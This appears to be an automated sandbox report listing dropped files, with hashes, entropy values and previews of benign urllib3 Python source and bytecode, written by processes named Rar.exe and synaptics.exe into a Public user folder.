Preview:	o.......=..f.........................@...sL...d.d.l.m.Z...d.d.l.Z.G.d.d...d...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.g.Z.d.S.)......)...annotationsNc....................@...sB...e.Z.d.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)..._HTTP2ProbeCache...._lock.._cache_locks.._cache_values..return..Nonec....................C...s....t.....\|._.i.\|._.i.\|._.d.S...N)...threading..Lockr....r....r........self..r.....EC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\http2\probe.py..__init__....s..........z._HTTP2ProbeCache.__init__..host..str..port..int..bool \| Nonec....................C...s....d.}.\|.j..7..\|.\|.f.}.z.\|.j.\|...}.\|.d.u.r.\|.W.W...d.........S.W.n...t.y4......t.....\|.j.\|.<.d.\|.j.\|.<.Y.n.w.W.d.........n.1.s?w.......Y...\|.j.\|...}.\|.......z.\|.j.\|...}.W.\|.S...t.ym..}...z.t.\|.t...rdJ...\|.........d.}.~.w.w.r....).r....r......KeyErrorr......RLockr......acquire..BaseException..isinstance..release).r....r....r......value..key..key_lock..er....r....r......acquire_and_get....s4..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\http2\connection.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12668
Entropy (8bit):	4.43718269678957
Encrypted:	false
SSDEEP:	192:7EfnhH8HWnkmgcIutahcTzfmN1d/m/BaTl4DuXm5Ap9g:7E/hTnkYt9ON1wB
MD5:	C987555EFD9989FB9505C7520CA9CFD5
SHA1:	6E3FC2FE65A2029769C64B0A5447A83EA611BD12
SHA-256:	18D969F418C8DC399F48A7B55B46FD22A44178CF10D77C5DD8C03744E709DDD6
SHA-512:	585F14458EF6BF78D32595D05D0C535B727675DE53919B78A73679F6CE439C32F7DB47D958EA960FCFECBD74239F7636E4C5581490270ECE12E7123D8F3C73F6
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import logging.import re.import threading.import types.import typing..import h2.config # type: ignore[import-untyped].import h2.connection # type: ignore[import-untyped].import h2.events # type: ignore[import-untyped]..from .._base_connection import _TYPE_BODY.from .._collections import HTTPHeaderDict.from ..connection import HTTPSConnection, _get_default_user_agent.from ..exceptions import ConnectionError.from ..response import BaseHTTPResponse..orig_HTTPSConnection = HTTPSConnection..T = typing.TypeVar("T")..log = logging.getLogger(__name__)..RE_IS_LEGAL_HEADER_NAME = re.compile(rb"^[!#$%&'*+\-.^_`\|~0-9a-z]+$").RE_IS_ILLEGAL_HEADER_VALUE = re.compile(rb"[\0\x00\x0a\x0d\r\n]\|^[ \r\n\t]\|[ \r\n\t]$")...def _is_legal_header_name(name: bytes) -> bool:. """. "An implementation that validates fields according to the definitions in Sections. 5.1 and 5.5 of [HTTP] only needs an additional check that field names do not. include uppercase chara

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\http2\probe.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3014
Entropy (8bit):	4.4639831655972575
Encrypted:	false
SSDEEP:	48:P9KKiM7SQwiqNdlp95feJYNq/qaWF5DX6nE8aawT6WurID:VDiM7SvT5WlcDXbt+m
MD5:	F326941F27972957BBE5E005FF30CED2
SHA1:	0F3ACBA2EC85A7130D05F77C099DD9440C817E84
SHA-256:	9E7024A9B8406A43A217BE6BCFB5B4B9D677F047A1FEE0FC7E357BE0DEF71442
SHA-512:	E9F789FF8232103414312EBD3B1833FA4971B9E3052DBCA5E9F308E6C112682F5330A1E7FCFBBC38815A72BA7E72A5E3FBC4789E82A24A4302DAF48EB52C381C
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import threading...class _HTTP2ProbeCache:. __slots__ = (. "_lock",. "_cache_locks",. "_cache_values",. ).. def __init__(self) -> None:. self._lock = threading.Lock(). self._cache_locks: dict[tuple[str, int], threading.RLock] = {}. self._cache_values: dict[tuple[str, int], bool \| None] = {}.. def acquire_and_get(self, host: str, port: int) -> bool \| None:. # By the end of this block we know that. # _cache_[values,locks] is available.. value = None. with self._lock:. key = (host, port). try:. value = self._cache_values[key]. # If it's a known value we return right away.. if value is not None:. return value. except KeyError:. self._cache_locks[key] = threading.RLock(). self._cache_values[key] = None.. # If the value is unknown, we acquire t

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\poolmanager.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	22913
Entropy (8bit):	4.6123699446367254
Encrypted:	false
SSDEEP:	384:D0Ik4vjqADeNCc61gSm/mTTG7vlT9xp4ArkkW1:gITqADeNClSSUSkt9xp3rkke
MD5:	375F776F4F4EA02B00C5C9CBD35A5B9B
SHA1:	54ABBE3544898F70A56DE63193402DB34D15ED07
SHA-256:	DBF2F6023543828434A819986D7F6EF50AB2535BB9277EF341BB6FFFEB9E6500
SHA-512:	115A1404DAA176A02CFA8B8A0E4E54F73058A3EBC6BFC14FDD24A9254783C35AF31659C2C497370881D02965EF4A5FBCEB5FA4843A583F9CE8E82A7EC4453FF0
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import functools.import logging.import typing.import warnings.from types import TracebackType.from urllib.parse import urljoin..from ._collections import HTTPHeaderDict, RecentlyUsedContainer.from ._request_methods import RequestMethods.from .connection import ProxyConfig.from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, port_by_scheme.from .exceptions import (. LocationValueError,. MaxRetryError,. ProxySchemeUnknown,. URLSchemeUnknown,.).from .response import BaseHTTPResponse.from .util.connection import _TYPE_SOCKET_OPTIONS.from .util.proxy import connection_requires_http_tunnel.from .util.retry import Retry.from .util.timeout import Timeout.from .util.url import Url, parse_url..if typing.TYPE_CHECKING:. import ssl.. from typing_extensions import Self..__all__ = ["PoolManager", "ProxyManager", "proxy_from_url"]...log = logging.getLogger(__name__)..SSL_KEYWORDS = (. "key_file",. "cert_file",. "cert_reqs"

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\py.typed

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.327987613540449
Encrypted:	false
SSDEEP:	3:SqWjty91M9bI+XREqyxReDGrvFlPJc:SjhyDS8mRBkrrJc
MD5:	8FB95F1F445D0278380B68C69E7C98D3
SHA1:	EF60F75D9814C879E0D3E690DBEC69BDC264B132
SHA-256:	51A0AE3C56B71FC5006A46EDFB91BC48F69C95D4CE1AF26FD7CA4F8D42798036
SHA-512:	A3ED53FA711BD4F871B3D800C235F63A8510B6F5DBF849987DAA2F92A7F20F09DEA1E055504FC5956BB48E735323A31CBE06E4E0262FBEC0D3A61C5809EDA7E3
Malicious:	false
Reputation:	low
Preview:	# Instruct type checkers to look for inline type annotations in this package..# See PEP 561..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\response.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	44801
Entropy (8bit):	4.340007017499819
Encrypted:	false
SSDEEP:	384:VK0pBkGlCDIZKGQT2YpJr/YVDMs6u4r07Jo6Zv+1mP1dCzK63z9Q3ONzP7/vtJ:VK0jkGBZKJTZMMs6PM6w4T3b
MD5:	9495CDD288D497268526259CC82641D5
SHA1:	F3CD98ECB11F95888231A633ACB03125CF14B038
SHA-256:	352D2BAB0466B705AD0BFE970EA80324DFEEA3E8C4981573C7457A282B079708
SHA-512:	7DCB263E8F06403237604F596C4B7388E3B817CDE4603F1EAC49937980E3116552FCBC0BCE19F1127FDE83C683BF43E0EFCB8D3C0125F43693A4793ED140B3B5
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import collections.import io.import json as _json.import logging.import re.import sys.import typing.import warnings.import zlib.from contextlib import contextmanager.from http.client import HTTPMessage as _HttplibHTTPMessage.from http.client import HTTPResponse as _HttplibHTTPResponse.from socket import timeout as SocketTimeout..if typing.TYPE_CHECKING:. from ._base_connection import BaseHTTPConnection..try:. try:. import brotlicffi as brotli # type: ignore[import-not-found]. except ImportError:. import brotli # type: ignore[import-not-found].except ImportError:. brotli = None..try:. import zstandard as zstd.except (AttributeError, ImportError, ValueError): # Defensive:. HAS_ZSTD = False.else:. # The package 'zstandard' added the 'eof' property starting. # in v0.18.0 which we require to ensure a complete and. # valid zstd stream was fed into the ZstdDecoder.. # See: https://github.com/urllib3/urllib3/pul

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	4.809819899735385
Encrypted:	false
SSDEEP:	24:JfEVki9yG/Tfgy2xjGfQs/ukxvth12MrdZrB5c6Qi7QOtzJAAJxj:J8yiQGsXjG4s/ukdo4rB5c7ifR6sj
MD5:	C66C1C6F2BAE795547EFF79264441DD4
SHA1:	52460D96B307E3CB7DA56A187FC2C4E597DE3C87
SHA-256:	FAA792D1071E8AF6B3BC110A0CD142008FBA00271D0CE1384CCBE8ED22CD9404
SHA-512:	72FE5CD3872338EF1FA15D077006CED5EB8678A4F2DBD191A9AE8DAC2585E2E41C3EBE2506A8F8F8729E41577E62D21D2F5A1721D41CB9E187A208DFF79D8764
Malicious:	false
Reputation:	low
Preview:	# For backwards compatibility, provide imports that used to be here..from __future__ import annotations..from .connection import is_connection_dropped.from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers.from .response import is_fp_closed.from .retry import Retry.from .ssl_ import (. ALPN_PROTOCOLS,. IS_PYOPENSSL,. SSLContext,. assert_fingerprint,. create_urllib3_context,. resolve_cert_reqs,. resolve_ssl_version,. ssl_wrap_socket,.).from .timeout import Timeout.from .url import Url, parse_url.from .wait import wait_for_read, wait_for_write..__all__ = (. "IS_PYOPENSSL",. "SSLContext",. "ALPN_PROTOCOLS",. "Retry",. "Timeout",. "Url",. "assert_fingerprint",. "create_urllib3_context",. "is_connection_dropped",. "is_fp_closed",. "parse_url",. "make_headers",. "resolve_cert_reqs",. "resolve_ssl_version",. "ssl_wrap_socket",. "wait_for_read",. "wait_for_write",. "SKIP_HEADER",. "SKIPPABLE_HEADERS",.)

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\init.cpython-310.pyc.56141728

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	947
Entropy (8bit):	5.338528519953842
Encrypted:	false
SSDEEP:	24:cIJUVegJzYoyYhRYQZyihmLptrv2buqq9PXVHL:H3gJz2Y39Zyi0TrOaqq9PN
MD5:	424358AB51D1BC6E18F57E16A2F1771A
SHA1:	58CC71A09FC9FDE3FE0A25D5066D6657DCB08F33
SHA-256:	62AB69EEC845AB6A84A1D61805025FB0482B0D9E99D6CE07240DBD4725013025
SHA-512:	B6DAA22E27C43B2D3BC49F16B22A817FD19F0B6F3D4EEE99A99D8ADB65FD40491100C08A5BB6BAFBBC248EBA89B4F58B983B06C103E0AD36FFF62CE19072A343
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.S.)......)...annotations.....)...is_connection_dropped)...SKIP_HEADER..SKIPPABLE_HEADERS..make_headers)...is_fp_closed)...Retry)...ALPN_PROTOCOLS..IS_PYOPENSSL..SSLContext..assert_fingerprint..create_urllib3_context..resolve_cert_reqs..resolve_ssl_version..ssl_wrap_socket)...Timeout)...Url..parse_url)...wait_for_read..wait_for_write).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...__future__r......connectionr......requestr....r....r......responser......retryr....Z.ssl_r....r....r....r....r....r....r....r......timeoutr......urlr....r......waitr....r......__all__..r ...r ....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\__init__.py..<module>....s..............(.........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\init.cpython-310.pyc.63282208

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	947
Entropy (8bit):	5.338528519953842
Encrypted:	false
SSDEEP:	24:cIJUVegJzYoyYhRYQZyihmLptrv2buqq9PXVHL:H3gJz2Y39Zyi0TrOaqq9PN
MD5:	424358AB51D1BC6E18F57E16A2F1771A
SHA1:	58CC71A09FC9FDE3FE0A25D5066D6657DCB08F33
SHA-256:	62AB69EEC845AB6A84A1D61805025FB0482B0D9E99D6CE07240DBD4725013025
SHA-512:	B6DAA22E27C43B2D3BC49F16B22A817FD19F0B6F3D4EEE99A99D8ADB65FD40491100C08A5BB6BAFBBC248EBA89B4F58B983B06C103E0AD36FFF62CE19072A343
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.S.)......)...annotations.....)...is_connection_dropped)...SKIP_HEADER..SKIPPABLE_HEADERS..make_headers)...is_fp_closed)...Retry)...ALPN_PROTOCOLS..IS_PYOPENSSL..SSLContext..assert_fingerprint..create_urllib3_context..resolve_cert_reqs..resolve_ssl_version..ssl_wrap_socket)...Timeout)...Url..parse_url)...wait_for_read..wait_for_write).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...__future__r......connectionr......requestr....r....r......responser......retryr....Z.ssl_r....r....r....r....r....r....r....r......timeoutr......urlr....r......waitr....r......__all__..r ...r ....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\__init__.py..<module>....s..............(.........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\connection.cpython-310.pyc.56142240

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3466
Entropy (8bit):	5.548630731870598
Encrypted:	false
SSDEEP:	48:5d8QkXnGs+RA+j7JArpwwSRGR7UAm0DEWStUV5yrIeoYPqr+rb8WTUVHwZJP9+:nkX3+m+hAVwwStdndm5YXiub8WT3ZJI
MD5:	B4695B158EC6266D4D8390E989B805FC
SHA1:	142F5D17F6742CCDFAE79B719509BF3D500BF061
SHA-256:	3F154DDBF869119C1608BF4FFCF3CAE264985FF52257809F5912738D474531A5
SHA-512:	B231A5E81286F246F49447AB40E507D2001899D3A8BC22C3365ACB2C631E0B4F9F0A092909C7F3D52A168067296763148515738643A8E15E6D75AE56C398C1B4
Malicious:	false
Reputation:	low
Preview:	o.......=..fj........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.j.e.e.e.j.e.e.f...f.....Z.e.j.r5d.d.l.m.Z...d&d.d...Z.e.d.d.f.d'd.d...Z.d(d.d...Z.d)d.d ..Z.dd#d$..Z.e.d%..Z.d.S.)+.....)...annotationsN.....)...LocationParseError.....)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...BaseHTTPConnection..connr......return..boolc....................C...s....\|.j...S.).z.. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. )...is_connected).r......r.....IC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\connection.py..is_connection_dropped....s......r......address..tuple[str, int]..timeoutr......source_address..tuple[str, int] \| None..socket_options.._TYPE_SOCKET_OPTIONS \| None..socket.socketc....................C...s$...\|.\.}.}.\|...d...r.\|...d...}.d.}.t...}.z.\|...d.....W.n...t.y......t.d.\|...d.....d...w.t...\|.\|.\|.t.j...D.]O}.\|.\.}.}.}.}.}.d.}.z(t...\|.\|.\|...}.t.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\connection.cpython-310.pyc.63282720

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3466
Entropy (8bit):	5.548630731870598
Encrypted:	false
SSDEEP:	48:5d8QkXnGs+RA+j7JArpwwSRGR7UAm0DEWStUV5yrIeoYPqr+rb8WTUVHwZJP9+:nkX3+m+hAVwwStdndm5YXiub8WT3ZJI
MD5:	B4695B158EC6266D4D8390E989B805FC
SHA1:	142F5D17F6742CCDFAE79B719509BF3D500BF061
SHA-256:	3F154DDBF869119C1608BF4FFCF3CAE264985FF52257809F5912738D474531A5
SHA-512:	B231A5E81286F246F49447AB40E507D2001899D3A8BC22C3365ACB2C631E0B4F9F0A092909C7F3D52A168067296763148515738643A8E15E6D75AE56C398C1B4
Malicious:	false
Reputation:	low
Preview:	o.......=..fj........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.j.e.e.e.j.e.e.f...f.....Z.e.j.r5d.d.l.m.Z...d&d.d...Z.e.d.d.f.d'd.d...Z.d(d.d...Z.d)d.d ..Z.dd#d$..Z.e.d%..Z.d.S.)+.....)...annotationsN.....)...LocationParseError.....)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...BaseHTTPConnection..connr......return..boolc....................C...s....\|.j...S.).z.. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. )...is_connected).r......r.....IC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\connection.py..is_connection_dropped....s......r......address..tuple[str, int]..timeoutr......source_address..tuple[str, int] \| None..socket_options.._TYPE_SOCKET_OPTIONS \| None..socket.socketc....................C...s$...\|.\.}.}.\|...d...r.\|...d...}.d.}.t...}.z.\|...d.....W.n...t.y......t.d.\|...d.....d...w.t...\|.\|.\|.t.j...D.]O}.\|.\.}.}.}.}.}.d.}.z(t...\|.\|.\|...}.t.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\proxy.cpython-310.pyc.73801760

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.403816031998314
Encrypted:	false
SSDEEP:	24:V/ZpGf5n/lIpWt84RzmQXvAFnT8adLRbpH7frY8lt6rn:Vut/Rt82m38apbf7S
MD5:	89B8E3BD7EA958F102981CF9700291E5
SHA1:	B919C52800EA48EC1E2D6059E8688DF8F82B6A25
SHA-256:	BD8D7612D207CC4D48B9705DBE325CA4EF8780DB313F90400BD4EEB951D6CF1C
SHA-512:	F3D5D29E9F2BB1D9EF378F525B90B65CEF40B81E000A70DE839F952F49E9F639C0D66DCA277C259BECB56A2CEE2583DD7B267F2E846BD06F61AF81A386CFD830
Malicious:	false
Reputation:	low
Preview:	o.......=..f\|........................@...sH...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...e.j.r.d.d.l.m.Z.........d.d.d.d...Z.d.S.)......)...annotationsN.....)...Url.....)...ProxyConfig..proxy_url..Url \| None..proxy_config..ProxyConfig \| None..destination_scheme..str \| None..return..boolc....................C...s4...\|.d.u.r.d.S.\|.d.k.r.d.S.\|.j.d.k.r.\|.r.\|.j.r.d.S.d.S.).a?.... Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). NF..http..httpsT)...scheme..use_forwarding_for_https).r....r....r......r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\proxy.py..connection_requires_http_tunnel....s..........................r....).NNN).r....r....r....r....r....r....r....r....)...__future__r......typing..urlr......TYPE_CHECKING..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\request.cpython-310.pyc.59263600

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6201
Entropy (8bit):	5.645657954132128
Encrypted:	false
SSDEEP:	96:Rj+t5ZTiDKV+DKYzQ2P7fRxa5jyGyT/aOMyjxMbsrHMCtkwTVvAJhK:EsKV+DKYzP7pxdCsxM4H/T5
MD5:	0E75AFA9B28D11D1D4BE73D17CD745B6
SHA1:	F4699501C42194453DE1A7F9B9B8D4426F0E9AD3
SHA-256:	70EFDC85440B4AF730C3DA6152817556EA58EF51A551682F315F189822D51817
SHA-512:	96FE282A70596FBE451D2CF993F79B3948DF2EA1ECE3343BBBC22F159197E648FDE7C5BB3C0885FAC3B8DF723EFCD9F94249D65ACB8D485B371D45982D53C569
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sd...U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r0d.d.l.m.Z...d.Z.e.g.d.....Z.d.Z.z.z.d.d.l.Z.W.n...e.yN......d.d.l.Z.Y.n.w.W.n...e.yY......Y.n.w.e.d.7.Z.z.d.d.l.Z.W.n...e.ym......Y.n.w.e.d.7.Z.G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.e.f...Z.h.d...Z.............d6d7d.d ..Z d8d%d&..Z!d9d+d,..Z"G.d-d...d.e.j#..Z$d:d4d5..Z%d.S.);.....)...annotationsN)...b64encode)...Enum.....)...UnrewindableBodyError.....)...to_bytes)...Finalz.@@@SKIP_HEADER@@@)...accept-encoding..host..user-agentz.gzip,deflatez.,brz.,zstdc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_FAILEDTELLr....N)...__name__..__module__..__qualname__..token..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\request.pyr....'...s........r....z.Final[_TYPE_FAILEDTELL].._FAILEDTELL>......HEADZ.CONNECTZ.TRACEZ.DELETEZ.OPTIONS..GET..keep_alive..bool \| None..accept_encoding..bool \| list[str] \| str \| None..user_agent..str \| None..basic_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\request.cpython-310.pyc.69271704

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6201
Entropy (8bit):	5.645657954132128
Encrypted:	false
SSDEEP:	96:Rj+t5LiDKV+DKYzQ2P7fRxa5jyGyT/aOMyjxMbsrHMCtkwTVvAJhK:EKKV+DKYzP7pxdCsxM4H/T5
MD5:	A153EEA8CA9F4EFD792CBD17E7A3F559
SHA1:	903E45309CD19F4F095D4F77BDAA780E225E874D
SHA-256:	92FA0BFF99C68600BF8BD185CB419044E21FC39C8C73A0F6351B8EB4DCB9BC77
SHA-512:	07918118B40A5A1989E97CB8514A9183C6D3494523D67F2C1957CADACC3A120B88AB5F80C45B4299129504174F2C39C0AC95D55831B685CBFDCED86ABF7C20FB
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sd...U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r0d.d.l.m.Z...d.Z.e.g.d.....Z.d.Z.z.z.d.d.l.Z.W.n...e.yN......d.d.l.Z.Y.n.w.W.n...e.yY......Y.n.w.e.d.7.Z.z.d.d.l.Z.W.n...e.ym......Y.n.w.e.d.7.Z.G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.e.f...Z.h.d...Z.............d6d7d.d ..Z d8d%d&..Z!d9d+d,..Z"G.d-d...d.e.j#..Z$d:d4d5..Z%d.S.);.....)...annotationsN)...b64encode)...Enum.....)...UnrewindableBodyError.....)...to_bytes)...Finalz.@@@SKIP_HEADER@@@)...accept-encoding..host..user-agentz.gzip,deflatez.,brz.,zstdc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_FAILEDTELLr....N)...__name__..__module__..__qualname__..token..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\request.pyr....'...s........r....z.Final[_TYPE_FAILEDTELL].._FAILEDTELL>....Z.CONNECTZ.OPTIONS..HEADZ.TRACE..GETZ.DELETE..keep_alive..bool \| None..accept_encoding..bool \| list[str] \| str \| None..user_agent..str \| None..basic_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\response.cpython-310.pyc.56142624

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2333
Entropy (8bit):	5.382572800996394
Encrypted:	false
SSDEEP:	48:Cmhh16zJQ+Nk7gkL2YMHhfpm7kmpx6nriZEviRo3C:p6zGslvhaIds
MD5:	4F5A13A1D17878BAD785726FAB32B4CB
SHA1:	513C6B187C8B4144D3CFF386752037A61AE07394
SHA-256:	CFF30FA5DA11ACD82F0F6CE182CEB700DEC0631D40E10860E17D2853AEE83D81
SHA-512:	780F372F388BC2BE3CB84B4FB8E48C6CF6B3D322AEB3958F7AB616786C8DA3ABA417614AF14E1311DFD5F41F6E8935DBB23E8F63B91314A340BF921EB184B9A2
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sV...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......)...annotationsN)..!MultipartInvariantViolationDefect..StartBoundaryNotFoundDefect.....)...HeaderParsingError..obj..object..return..boolc....................C...s`...z.\|.....W.S...t.y.......Y.n.w.z.\|.j.W.S...t.y.......Y.n.w.z.\|.j.d.u.W.S...t.y/......Y.t.d.....w.).zt. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. Nz)Unable to determine whether fp is closed.)...isclosed..AttributeError..closed..fp..ValueError).r......r.....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\response.py..is_fp_closed....s ...................................r......headers..httplib.HTTPMessage..Nonec....................C...sn...t.\|.t.j...s.t.d.t.\|.....d.......d.}.\|.....s#\|.....}.t.\|.t.t.f...r#\|.}.d.d...\|.j.D...}.\|.s/\|.r5t.\|.\|.d.....d.S.).a>.... Asserts whether all headers have been successful

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\response.cpython-310.pyc.73941024

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2333
Entropy (8bit):	5.382572800996394
Encrypted:	false
SSDEEP:	48:Cmhh16zJQ+Nk7gkL2YMHhfpm7kmpx6nriZEviRo3C:p6zGslvhaIds
MD5:	4F5A13A1D17878BAD785726FAB32B4CB
SHA1:	513C6B187C8B4144D3CFF386752037A61AE07394
SHA-256:	CFF30FA5DA11ACD82F0F6CE182CEB700DEC0631D40E10860E17D2853AEE83D81
SHA-512:	780F372F388BC2BE3CB84B4FB8E48C6CF6B3D322AEB3958F7AB616786C8DA3ABA417614AF14E1311DFD5F41F6E8935DBB23E8F63B91314A340BF921EB184B9A2
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sV...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......)...annotationsN)..!MultipartInvariantViolationDefect..StartBoundaryNotFoundDefect.....)...HeaderParsingError..obj..object..return..boolc....................C...s`...z.\|.....W.S...t.y.......Y.n.w.z.\|.j.W.S...t.y.......Y.n.w.z.\|.j.d.u.W.S...t.y/......Y.t.d.....w.).zt. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. Nz)Unable to determine whether fp is closed.)...isclosed..AttributeError..closed..fp..ValueError).r......r.....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\response.py..is_fp_closed....s ...................................r......headers..httplib.HTTPMessage..Nonec....................C...sn...t.\|.t.j...s.t.d.t.\|.....d.......d.}.\|.....s#\|.....}.t.\|.t.t.f...r#\|.}.d.d...\|.j.D...}.\|.s/\|.r5t.\|.\|.d.....d.S.).a>.... Asserts whether all headers have been successful

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\retry.cpython-310.pyc.59264200

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15746
Entropy (8bit):	5.362946859038454
Encrypted:	false
SSDEEP:	192:0f/Qj12FuuccXjtRLJIkyuhvCF4+W8THjSbG9JJb2s5297Y:09suPVJvCOWDsG97297Y
MD5:	2992303387474E39D65AC07FF91F0C3F
SHA1:	D33EB39E206EBA6ECD50AA829544907EE5D34704
SHA-256:	A1DA0AB0D791099B196DAEB816A7B2D738C476E8D46EE03A0F30A56B2875BBC1
SHA-512:	615215A3C502F35C39C909CF775AC6A6BD26015B49B23E6D0D52E826CC0E60B4768CB8EF703BD32E45C350337919CE00C2B1F25E4E1DEA899548BFD55345A4CF
Malicious:	false
Reputation:	low
